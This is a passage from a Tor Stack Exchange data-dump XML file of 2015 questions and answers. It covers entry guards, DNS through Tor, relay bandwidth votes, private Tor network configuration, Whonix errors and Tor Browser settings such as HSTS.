LastActivityDate="2015-07-11T10:52:03.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7196" PostTypeId="1" CreationDate="2015-07-11T17:03:35.770" Score="1" ViewCount="212" Body="&lt;p&gt;I'm using the Tor client on Ubuntu in conjunction with a Privoxy proxy to forward HTTP traffic to SOCKS5. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to validate that my setup is actually working but can't figure out how to monitor traffic passing through Tor or between the two proxies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion on how to do this is appreciated.   &lt;/p&gt;&#xA;" OwnerUserId="7830" LastEditorUserId="88" LastEditDate="2015-07-11T17:12:37.460" LastActivityDate="2015-07-11T17:12:37.460" Title="How do I validate/log my traffic passing through tor?" Tags="|ubuntu|network-configuration|proxy|privoxy|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7197" PostTypeId="1" AcceptedAnswerId="7198" CreationDate="2015-07-12T06:09:43.610" Score="1" ViewCount="469" Body="&lt;p&gt;No matter what I am trying, I can't change the &lt;strong&gt;first server&lt;/strong&gt; in the circuit. Neither &quot;New Identity&quot; nor &quot;New Circuit&quot; or closing the browser will change it. I tried two different tor instances from different (verified) downloads. While the first server (IP) is different, I can't force it to change there either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I wrong or does this seem to be a bad bad bug? I mean the first server is the instance which knows the clients real IP (thus, in connection with the third, it will be possible do identify the client). Shouldn't this server change frequently too?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I am using the current (4.5.3) version of the TBB and it is the first time I noticed it. The server itself seems not malicious or ill-intended (the owner seems trustworthy and a private individual who operates a blog).&lt;/p&gt;&#xA;" OwnerUserId="7838" LastEditorUserId="7838" LastEditDate="2015-07-12T11:46:56.633" LastActivityDate="2015-07-12T11:46:56.633" Title="First Circuit Server Constant (New Identity)" Tags="|tor-browser-bundle|relays|circuit|guard|identity-change|" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-12T12:38:43.820" ContentLicense="CC BY-SA 3.0" />
  <row Id="7198" PostTypeId="2" ParentId="7197" CreationDate="2015-07-12T08:11:27.077" Score="0" Body="&lt;p&gt;This is expected, and by design.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See these previous threads asking the same question:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/7048/why-is-the-first-ip-address-tor-goes-to-the-same-one-in-germany&quot;&gt;Why is the first ip address Tor goes to the same one in Germany?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tor.stackexchange.com/questions/4099/first-node-always-the-same-is-that-how-its-supposed-to-work&quot;&gt;First node always the same! Is that how it&amp;#39;s supposed to work?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;For more information on Entry Guards, and how they work, see the Tor &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#EntryGuards&quot; rel=&quot;nofollow noreferrer&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-07-12T08:19:10.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7199" PostTypeId="2" ParentId="6527" CreationDate="2015-07-12T11:10:31.250" Score="2" Body="&lt;p&gt;Facebook is one such service offering this. &lt;a href=&quot;https://blog.torproject.org/blog/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Tor Blog has an article regarding this topic&lt;/a&gt;. It mentions how it is not a contradiction to use Facebook over a Tor Hidden Service. To quote from it.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;[...] the key point here is that anonymity isn't just about hiding from your destination.&lt;/p&gt;&#xA;&lt;p&gt;There's no reason to let your ISP know when or whether you're visiting Facebook. There's no reason for Facebook's upstream ISP, or some agency that surveils the Internet, to learn when and whether you use Facebook. And if you do choose to tell Facebook something about you, there's still no reason to let them automatically discover what city you're in today while you do it.&lt;/p&gt;&#xA;&lt;p&gt;Also, we should remember that there are some places in the world that can't reach Facebook. Long ago I talked to a Facebook security person who told me a fun story. When he first learned about Tor, he hated and feared it because it &amp;quot;clearly&amp;quot; intended to undermine their business model of learning everything about all their users. Then suddenly Iran blocked Facebook, a good chunk of the Persian Facebook population switched over to reaching Facebook via Tor, and he became a huge Tor fan because otherwise those users would have been cut off. Other countries like China followed a similar pattern after that. This switch in his mind between &amp;quot;Tor as a privacy tool to let users control their own data&amp;quot; to &amp;quot;Tor as a communications tool to give users freedom to choose what sites they visit&amp;quot; is a great example of the diversity of uses for Tor: whatever it is you think Tor is for, I guarantee there's a person out there who uses it for something you haven't considered.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1292" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2015-07-12T11:10:31.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7200" PostTypeId="2" ParentId="6147" CreationDate="2015-07-12T11:20:51.533" Score="0" Body="&lt;p&gt;Flash and other plugins offer a whole new attack surface and therefor should not be used in combination with Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead I highly recommend using the official &lt;a href=&quot;https://www.torproject.org/download/download-easy.html.en&quot; rel=&quot;nofollow&quot;&gt;Tor Browser&lt;/a&gt; (which is not just Firefox, even though it is based on it) for browsing the web. Next to your example it prevents many other forms of attacks that could reveal your identity.&lt;/p&gt;&#xA;" OwnerUserId="1292" LastActivityDate="2015-07-12T11:20:51.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7201" PostTypeId="1" CreationDate="2015-07-13T04:16:47.920" Score="2" ViewCount="320" Body="&lt;p&gt;Is there any way to tell the Tor daemon on my computer to only pick entry nodes with specific TCP ports? It seems like our ISP has started blocking Tor communication on its usual ports (443, 9001, etc). Once it finds a node with POP3 port 110 open - things finally start working. Telnetting to port 443 or 9001 of the failing node doesn't block and expects user input as any open port would - therefore some more sophisticated blocking is taking place.&lt;/p&gt;&#xA;" OwnerUserId="7848" LastEditorUserId="7848" LastEditDate="2015-07-13T04:30:18.597" LastActivityDate="2015-10-15T00:12:48.093" Title="Using entry nodes with specific ports" Tags="|guard-node|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7202" PostTypeId="1" AcceptedAnswerId="7241" CreationDate="2015-07-13T06:32:06.433" Score="2" ViewCount="164" Body="&lt;p&gt;On my system I have a secure service that is bound to localhost for commands. I do &lt;em&gt;not&lt;/em&gt; want it accessible to Tor. It's bound to one port, lets say 876.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am running a hidden service that binds to &lt;em&gt;one&lt;/em&gt; port, lets call it 12345.  So 127.0.0.1:12345 is open to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How confident can I be that Tor incoming connections to my system will not be able to somehow access 127.0.0.1:876?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this a real concern, or just tin-foil-hat?&lt;/p&gt;&#xA;" OwnerUserId="7849" LastEditorUserId="88" LastEditDate="2015-07-16T21:33:57.290" LastActivityDate="2015-07-18T12:43:09.377" Title="How secure are hidden services port bindings?" Tags="|onion-services|security|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7203" PostTypeId="2" ParentId="7202" CreationDate="2015-07-13T07:39:07.757" Score="0" Body="&lt;p&gt;It has to be bound to the port in torrc , that's the only place tor is told to bind, so if the port\binding is not there then there is no way for them to access unlisted ports over tor.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2015-07-13T07:39:07.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7204" PostTypeId="1" CreationDate="2015-07-13T09:28:52.977" Score="1" ViewCount="252" Body="&lt;p&gt;Got live Tail installed on my usb device,run it and when  all thing get started (tor conection etc etc) when i try to run tor browser, nothing !&lt;/p&gt;&#xA;" OwnerUserId="7850" LastActivityDate="2015-07-13T09:28:52.977" Title="Tor browser doesnt launch on tail" Tags="|tails|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7206" PostTypeId="1" CreationDate="2015-07-13T14:56:01.243" Score="7" ViewCount="17503" Body="&lt;p&gt;I sent an email to &lt;code&gt;bridges@bridges.torproject.org&lt;/code&gt; with &quot;get bridges&quot; as the body by using my gmail. I didn't receive any response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the service down? Is there something else I can do to get a list of bridges?&lt;/p&gt;&#xA;" OwnerUserId="7851" LastEditorUserId="71" LastEditDate="2015-07-13T22:22:35.350" LastActivityDate="2020-01-05T15:35:01.507" Title="Get Tor bridges via email" Tags="|bridge|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7211" PostTypeId="1" CreationDate="2015-07-14T08:53:56.380" Score="4" ViewCount="489" Body="&lt;p&gt;I've noticed my Tor relay measured bandwidth is very low compared to both my advertized and external-to-Tor measured bandwidth.  Based on the following observations, I wonder: is there's a 1K scale factor issue in the Tor measured bandwidth processing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running a dedicated Raspberry Pi 2 node with up-to-date Raspbian and wired ethernet; I pulled the vote and consensus data from &lt;a href=&quot;https://collector.torproject.org/recent/relay-descriptors/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://collector.torproject.org/recent/relay-descriptors/&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Units: based on biology experiments, I conclude that the bandwidth votes are measured in kB/s, yet bandwidth is treated like B/s (at least in arm).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Advertized in votes: &quot;1024&quot;; therefore I conclude vote units are (kB/s), since I proposed 1000 KB in my torrc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Measured in votes: We had the following for measured bandwidth:&#xA;{&#xA;    n/a&#xA;   1680&#xA;    463&#xA;    n/a&#xA;    n/a&#xA;    658&#xA;    n/a&#xA;    191&#xA;    n/a&#xA;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The resulting consensus: 463 (reasonable outcome given 1680, 658, 463, 191)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reported measured bandwidth (from arm): 3.6Kb/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The math (note that is 463, not 463e3 nor 463*2^10): 463B/s * 8b/B / 1024b/Kib = 3.617Kib/s&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it sure looks like the bandwidth votes are in kB/s, while it is treated like B/s when used from the consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect this low measured bandwidth is the basic reason for my low weighted mean middle score (~5e-5), and hence low consumed bandwidth (~90kB/s).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;================================================================&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI, here's &lt;em&gt;my&lt;/em&gt; observed bandwidth available into/outof my Tor relay -- my Tor relay is plenty fast, compared to Tor network measured and consumed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    host    download                upload&#xA;    relay   30.1 Mbps 3.8 MB/s      11.5 Mbps 1.4 MB/s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See also &lt;a href=&quot;https://tor.stackexchange.com/questions/3287/arm-for-tor-relay-bandwidth-descrepancies/&quot;&gt;Arm for Tor Relay Bandwidth Descrepancies&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7791" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2019-08-09T18:03:25.367" Title="Why is my measured bandwidth so low compared to actual -- is there a off by 1K issue?" Tags="|relays|bandwidth|nyx|consensus|raspbian|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7212" PostTypeId="1" CreationDate="2015-07-14T14:13:59.287" Score="5" ViewCount="5641" Body="&lt;p&gt;I don't want my traffic to be proxied though Tor, but I want to anonymize DNS requests. How do I use Tor as a DNS server?&lt;/p&gt;&#xA;" OwnerUserId="7861" LastActivityDate="2017-04-19T11:50:39.910" Title="How do I resolve DNS using Tor?" Tags="|dns|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7213" PostTypeId="2" ParentId="7212" CreationDate="2015-07-14T14:20:20.487" Score="4" Body="&lt;p&gt;Use &lt;code&gt;DNSPort 53&lt;/code&gt; setting in &lt;code&gt;torrc&lt;/code&gt; and configure nameserver to 127.0.0.1&lt;/p&gt;&#xA;" OwnerUserId="7861" LastActivityDate="2015-07-14T14:20:20.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7216" PostTypeId="2" ParentId="7212" CreationDate="2015-07-14T18:37:07.717" Score="1" Body="&lt;p&gt;Just to add some more information to this (and to provide a source for others), an in-depth set of instructions and alternative solutions can be found in the below wiki entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://wiki.archlinux.org/index.php/Tor#Using_TorDNS_for_all_DNS_queries&quot; rel=&quot;nofollow&quot;&gt;https://wiki.archlinux.org/index.php/Tor#Using_TorDNS_for_all_DNS_queries&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-07-14T18:37:07.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7218" PostTypeId="1" CreationDate="2015-07-14T19:25:53.097" Score="0" ViewCount="3128" Body="&lt;p&gt;I recently installed the newest Whonix and after finishing installation received the error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Boostrap Result: Tor's Control Port could not be reached!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Troubleshooting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Confirm that Whonix-Gateway is running&lt;/li&gt;&#xA;&lt;li&gt;Run &lt;code&gt;whonixcheck&lt;/code&gt; on Whonix-Gateway and confirm success.&lt;/li&gt;&#xA;&lt;li&gt;If you're running multiple Whonix-Workstations simultaneously, confirm that separate IP address are configured&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Rerun &lt;code&gt;whonixcheck&lt;/code&gt; here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Technical information:)&#xA;(Code: 255)&#xA;(tor_bootstrap_timeoit_type: none)&#xA;(tor_bootstrap_status: Socket error: [Errno 113] No route to host)&#xA;(check_socks_port_open_test: 7)&#xA;(Tor Circut: not established)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I tried all the troubleshooting tips and nothing seemed to be a problem. My Whonix Gateway tested fine. What else could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="7865" LastEditorUserId="88" LastEditDate="2015-07-18T20:55:41.747" LastActivityDate="2016-08-06T20:49:13.627" Title="Tor's Control Port could not be Reached?" Tags="|whonix|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7219" PostTypeId="2" ParentId="3896" CreationDate="2015-07-15T01:28:06.957" Score="2" Body="&lt;p&gt;This one is only for onion-services supporting HTTP, but it is updated daily and are typically up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://onion.city/sitemap.xml&quot; rel=&quot;nofollow&quot;&gt;http://onion.city/sitemap.xml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2015-07-15T01:28:06.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7220" PostTypeId="2" ParentId="4480" CreationDate="2015-07-15T08:50:04.963" Score="2" Body="&lt;p&gt;Adblock is semi-safe on a non anonymous browser as they do allow &quot;white listed&quot; ads. But for purposes of using with Tor Browser:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adblock will block the image ads that NoScript can't. Adblock is a very common add-on so I wouldn't fear &quot;fingerprinting&quot;. Besides, the more browsers that use Adblock the more we &quot;look&quot; the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NoScript doesn't block image ads on many sites (such as porn) as they are not scripted on the &quot;top level&quot;. i.e. image ads with scripts underneath - the script is blocked but the image remains.&lt;/p&gt;&#xA;" OwnerUserId="7869" LastEditorUserId="71" LastEditDate="2015-07-15T10:48:11.667" LastActivityDate="2015-07-15T10:48:11.667" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7221" PostTypeId="2" ParentId="4912" CreationDate="2015-07-15T11:37:27.190" Score="1" Body="&lt;p&gt;Well, I had this problem until about 3 minutes ago. I had my AV (Anti-Virus) on, turned it off, and -ta-da!- fixed. Some more mainstream/better anti-viruses may allow Tor, Sophos for example. (The AV that blocked my Tor was Webroot SecureAnywhere, which I use more for the tools and Website Screening more than AV itself) Hope this works for you!&lt;/p&gt;&#xA;" OwnerUserId="7871" LastActivityDate="2015-07-15T11:37:27.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7224" PostTypeId="1" CreationDate="2015-07-15T16:43:00.220" Score="3" ViewCount="759" Body="&lt;p&gt;What are the best routers to run a tor relay behind? Pros and cons would be appreciated. I would like this to become a wiki for people in many different situations to help them decide which router is best for their situation.&lt;/p&gt;&#xA;" OwnerUserId="1172" LastEditorUserId="1172" LastEditDate="2015-07-16T14:22:36.190" LastActivityDate="2015-07-21T10:52:29.643" Title="What are the best routers to run a relay behind?" Tags="|routers|fast-relays|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7226" PostTypeId="2" ParentId="7224" CreationDate="2015-07-15T17:04:41.237" Score="3" Body="&lt;p&gt;In my opinion there is only one type of router that is secure, and that is a open source router that you can flash with firmware from source:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.fsf.org/news/thinkpenguin-wireless-router-now-fsf-certified-to-respect-your-freedom&quot; rel=&quot;nofollow&quot;&gt;TPE-NWIFIROUTER 2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.netgear.no/home/products/networking/wifi-routers/WNR3500L.aspx&quot; rel=&quot;nofollow&quot;&gt;Netgear WNR3500L&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without it being open source there is no way to know what the router does or how secure it is.&lt;/p&gt;&#xA;" OwnerUserId="112" LastEditorUserId="112" LastEditDate="2015-07-18T08:34:31.713" LastActivityDate="2015-07-18T08:34:31.713" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7227" PostTypeId="1" CreationDate="2015-07-16T07:11:59.693" Score="1" ViewCount="1038" Body="&lt;p&gt;My Wordpress blog won't load on my dashboard if I view it on Tor browser (I'm using Firefox through Tor). It says Wordpress can be &quot;partially&quot; viewed only on Tor. What does that mean? Is there a way I can view and make changes on my Wordpress blog through Tor?&lt;/p&gt;&#xA;" OwnerUserId="7878" LastEditorUserId="88" LastEditDate="2016-04-11T10:34:54.050" LastActivityDate="2017-04-09T16:42:28.663" Title="My Wordpress blog won't load through Tor" Tags="|tor-browser-bundle|anonymity|javascript|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7228" PostTypeId="1" CreationDate="2015-07-16T07:59:43.617" Score="1" ViewCount="225" Body="&lt;p&gt;I have bugs to report, but there is no obvious contact information on the page itself.  I am asking if there are common places that people leave contact information or if there's some way I can leave a message for the operator based solely on the public key of their hidden service.  Know of anything?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks much.&lt;/p&gt;&#xA;" OwnerUserId="3242" LastActivityDate="2015-07-16T11:35:34.877" Title="Is there a common way to contact the administrator of a .onion site?" Tags="|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7229" PostTypeId="1" AcceptedAnswerId="7245" CreationDate="2015-07-16T09:50:20.330" Score="1" ViewCount="319" Body="&lt;p&gt;I've an email account which I never visited outside Tor/Tails. Recently, I got a warning from the email provider about suspicious activity.  While I'm inspecting the email's activity logs, I found out that someone trying to login with invalid password from local IP (not from Tor exit node) a week ago.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recently move to another country and share a public internet.  Will this affect my security.  What should I do to prevent this in the future?&lt;/p&gt;&#xA;" OwnerUserId="7881" LastActivityDate="2015-07-17T02:04:58.143" Title="Email hack warning when using tor" Tags="|security|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7231" PostTypeId="2" ParentId="7228" CreationDate="2015-07-16T11:35:34.877" Score="4" Body="&lt;p&gt;What would one expect is that there should not be contact information available about person running &lt;strong&gt;.onion&lt;/strong&gt; site unless the person provides those information on the website itself.&lt;/p&gt;&#xA;" OwnerUserId="7882" LastActivityDate="2015-07-16T11:35:34.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7232" PostTypeId="2" ParentId="7227" CreationDate="2015-07-16T11:39:13.323" Score="2" Body="&lt;p&gt;Try to enable noscript '&lt;strong&gt;allow&lt;/strong&gt;' for your dashboard. It may be the &lt;strong&gt;javascript&lt;/strong&gt; disabled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or as it seems from the question and it is not browser based issue, try different relay / bridges if it is really related to the fact you are using Tor.&lt;/p&gt;&#xA;" OwnerUserId="7882" LastActivityDate="2015-07-16T11:39:13.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7233" PostTypeId="2" ParentId="4480" CreationDate="2015-07-16T11:45:39.233" Score="1" Body="&lt;p&gt;Wouldn't use it for reasons in answer &lt;strong&gt;#1&lt;/strong&gt;.&#xA;As long as the javascript is disabled and settings in Tor Browser are kind of ok, there is no clever reason to use something &lt;em&gt;extra&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will just make you look different.&lt;/p&gt;&#xA;" OwnerUserId="7882" LastActivityDate="2015-07-16T11:45:39.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7235" PostTypeId="2" ParentId="7227" CreationDate="2015-07-16T15:32:24.467" Score="2" Body="&lt;p&gt;I've tested this on both a hosted installation, and a wordpress.com site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hosted installation works as it should. There's no need to turn off Noscript. Everything under &lt;code&gt;http://foobar.com/wp-admin/&lt;/code&gt; is accessible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wordpress.com blog - &lt;code&gt;http://foobar.wordpress.com/wp-admin/&lt;/code&gt; - is full of Javascript, so Noscript has to be deactivated. &#xA;However, even after allowing scripts, the site only partially loads. There's nothing - no pop-ups, warnings, etc. - stating that this is expected (so I'm unsure what the OP is referring to).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By &quot;partially loads&quot;, it seems to only load the frames of the pages, and doesn't load the actual data/content. (The page I looked at had spinning loading icons where the data should be.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looking at the page source for both TBB and FF versions of the same page gives completely different sets of code, I &lt;em&gt;think&lt;/em&gt; because the TBB version is stuck on a redirect page. I can't tell you why. I haven't found anything else on Google. &lt;/p&gt;&#xA;" OwnerUserId="1730" LastActivityDate="2015-07-16T15:32:24.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7236" PostTypeId="2" ParentId="6865" CreationDate="2015-07-16T15:57:40.357" Score="1" Body="&lt;p&gt;Your path should be &lt;code&gt;/Applications/TorBrowser.app/Contents/MacOS/firefox&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7885" LastActivityDate="2015-07-16T15:57:40.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7237" PostTypeId="1" CreationDate="2015-07-16T16:10:47.390" Score="1" ViewCount="1301" Body="&lt;p&gt;Is that possible to deploy my own private tor network on the Internet (not on the LAN)? I got five alicloud servers. 2 for directory authorities and 3 for tor relay servers. Here is my &lt;code&gt;torrc&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Nickname Atom&#xA;TestingTorNetwork 0&#xA;DataDirectory /usr/local/var/lib/tor&#xA;RunAsDaemon 1&#xA;ConnLimit 60&#xA;ShutdownWaitLength 0&#xA;PidFile /usr/local/var/lib/tor/pid&#xA;&#xA;Log info file /usr/local/var/log/tor/info.log&#xA;Log debug file /usr/local/var/log/tor/debug.log&#xA;ProtocolWarnings 1&#xA;SafeLogging 0&#xA;DisableDebuggerAttachment 0&#xA;AssumeReachable 0&#xA;&#xA;SocksPort 0&#xA;ORPort 443&#xA;Address XXX.XXX.XXX.XX(public IP)&#xA;OutboundBindAddress XXX.XXX.XXX.XX(public IP)&#xA;DirPort 80&#xA;&#xA;&#xA;ExitPolicy accept *:*&#xA;ExitRelay 1&#xA;IPv6Exit 0&#xA;AuthoritativeDirectory 1&#xA;V3AuthoritativeDirectory 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor relay servers got almost the same configuration(Plus &lt;code&gt;PublishServerDescriptor 1 AssumeReachable 0&lt;/code&gt;). Then I can barely built circuit. Only one hop internal circuit built successfully. From log on one of the relay server, I can see relay server didn't generate and upload its own descriptors to authorities. Is there something wrong with my &lt;code&gt;torrc&lt;/code&gt;? How can I make my own tor works? Any advice will be warmly welcome! Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7884" LastEditorUserId="88" LastEditDate="2015-07-16T22:14:01.553" LastActivityDate="2015-07-16T22:14:01.553" Title="How to deploy private tor network on the Internet" Tags="|configuration|network-configuration|private|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7238" PostTypeId="1" CreationDate="2015-07-16T20:36:06.340" Score="2" ViewCount="203" Body="&lt;p&gt;To what level does Tor support certificate pinning (aka HPKP, key pinning)? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is my understanding that HPKP &lt;strike&gt;is implemented as a cookie&lt;/strike&gt; can be used as a &quot;super cookie&quot; and thus it would be cleared across restarts.  The documentation on this is less clear on this and a test website claims it's not working at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Answers should include whether the cookie survives across restarts.  Bonus points for insight on whether it will be supported in the future.&lt;/p&gt;&#xA;" OwnerUserId="6706" LastEditorUserId="6706" LastEditDate="2015-07-26T22:02:35.397" LastActivityDate="2015-08-26T01:04:18.153" Title="Does the TorBrowser support certificate pinning?" Tags="|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7239" PostTypeId="1" AcceptedAnswerId="7240" CreationDate="2015-07-16T20:43:36.353" Score="2" ViewCount="69" Body="&lt;p&gt;The TorBrowser will honor HSTS settings during a session, meaning that if you visit an HTTPS site and the HSTS flag is set, the browser will not allow an HTTP downgrade.  Does this survive across restarts?&lt;/p&gt;&#xA;" OwnerUserId="6706" LastEditorUserId="6706" LastEditDate="2015-07-16T23:00:48.273" LastActivityDate="2015-07-26T22:56:17.500" Title="Does strict transport security survive across restarts?" Tags="|https|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7240" PostTypeId="2" ParentId="7239" CreationDate="2015-07-16T20:48:40.790" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://projects.dm.id.lv/Public-Key-Pins_test&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; test site, HSTS information does not survive a reboot on TBB 4.5 nor TBB 5 Alpha supported.  This is &lt;em&gt;probably&lt;/em&gt; because HSTS can be used to track browsers.  It sounds as if the &lt;a href=&quot;http://tsyrklevich.net/2014/10/28/abusing-strict-transport-security/&quot; rel=&quot;nofollow&quot;&gt;preload list&lt;/a&gt; will be supported and should protect users of major websites that enable HSTS.&lt;/p&gt;&#xA;" OwnerUserId="6706" LastEditorUserId="6706" LastEditDate="2015-07-26T22:56:17.500" LastActivityDate="2015-07-26T22:56:17.500" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="7241" PostTypeId="2" ParentId="7202" CreationDate="2015-07-16T21:43:18.320" Score="0" Body="&lt;p&gt;I'd say this is an important concern and it's worth thinking about. You can go in two directions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Assume Tor works correctly according to the specification. Then there is no chance that Tor can access the other port (876).&lt;/li&gt;&#xA;&lt;li&gt;On the other side there might be a bug/vulnerability in Tor which allows  it to access other data on a client's computer. If this is the case than an attacker has the possibility to access the data. But is this a realistic concern? From my perspective Tor does a lot to improve and ensure the security of the software (specification, testing, review etc.). So I'd it is quite improbable that something like this happens.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So the chance that somethin like in the case 2 happens is negligible.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-07-16T21:43:18.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
